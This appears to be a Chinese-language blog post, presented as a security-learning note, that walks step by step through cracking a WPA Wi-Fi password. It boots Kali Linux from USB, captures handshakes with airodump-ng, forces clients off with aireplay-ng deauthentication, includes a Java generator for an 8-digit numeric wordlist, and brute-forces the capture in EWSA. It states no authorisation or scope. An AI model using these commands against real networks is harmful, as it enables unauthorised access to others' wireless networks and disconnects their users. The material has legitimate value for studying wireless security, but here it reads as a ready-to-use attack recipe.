记录一次简单的网络安全学习

使用U盘安装kali Linux,对无线网络密码进行攻击的步骤:

1、安装kali 到U盘上,下载live版本

记录一次简单的网络安全学习_第1张图片记录一次简单的网络安全学习_第2张图片

2、使用rufus将U盘格式化,将kali系统刷入U盘

记录一次简单的网络安全学习_第3张图片
安装完成后点击确定,不要格式化U盘,将电脑重启。我的电脑是联想拯救者,开机按下fn+f12,进入boot启动菜单,选择U盘启动。

3、开机后成功进入kali启动菜单页面。默认选择第一个启动(直接按回车),进入桌面。

4、启动命令行窗口。

1、输入sudo su,进入root模式。
2、使用airmon-ng命令。
无线网卡设备名称默认wlan0,输入airmon-ng start wlan0启动网卡的监听模式;
3、输入ifconfig,查看网卡的名称是否变化。如果进入失败,需要杀死占用网卡的进程(kali会给出提示);
4、输入airodump-ng wlan0mon打开监听。屏幕上显示监听到的路由器bssid mac地址,信道ch,验证方式auth,essid名称等信息。

下面一部分是路由器mac
与链接他的无线设备(station)的mac,可以记录一下。
5、选择data数据变化快的无线网络,记录bssid。
6、另开一个终端开始攻击。获取管理员权限,输入

airodump-ng  -c “被攻击热点的信道” --bssid “被攻击网络bssid” -w “这里写保存位置,写文件路径” wlan0mon

等待设备连接,连接时会发送握手信号,此时握手包捕获成功。

若一直没有新设备链接,可以使用以下命令:

aireplay-ng -0 0 -a “路由器设备mac地址” -c “链接的设备mac” wlan0mon

强制让设备断开连接,这样重新连接时可以抓到握手包。

5、转回Windows,使用ewsa软件简单破解。

1、生成字典文件,以8位数的纯数字为例,利用Java生成。

// An highlighted block
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;

public class Main {
  public static void main(String[] args) {
    try {
      
      FileWriter fileWriter = new FileWriter("numbers.txt");
      
      BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);

     
      for (int i = 0; i <= 99999999; i++) {
      	//从00000000到99999999,包括八位数的所有密码
     
        String str = String.format("%08d", i);
        
        bufferedWriter.write(str);
        bufferedWriter.newLine();
      }

      // BufferedWriter
      bufferedWriter.close();
    } catch (IOException e) {
      e.printStackTrace();
    }
  }
}

2、打开ewsa,选择导入数据,选第一个tcpdump,选择之前抓到的数据包,一般以.cap为后缀名。
记录一次简单的网络安全学习_第4张图片
记录一次简单的网络安全学习_第5张图片
选择“关闭变换”,提高破解速度。
记录一次简单的网络安全学习_第6张图片
点击“开始破解”,“密码破解”,耐心等待破解完成,如果设置了八位数数字密码,一定可以拿到。
在这里插入图片描述

你可能感兴趣的:(笔记,网络,linux,运维)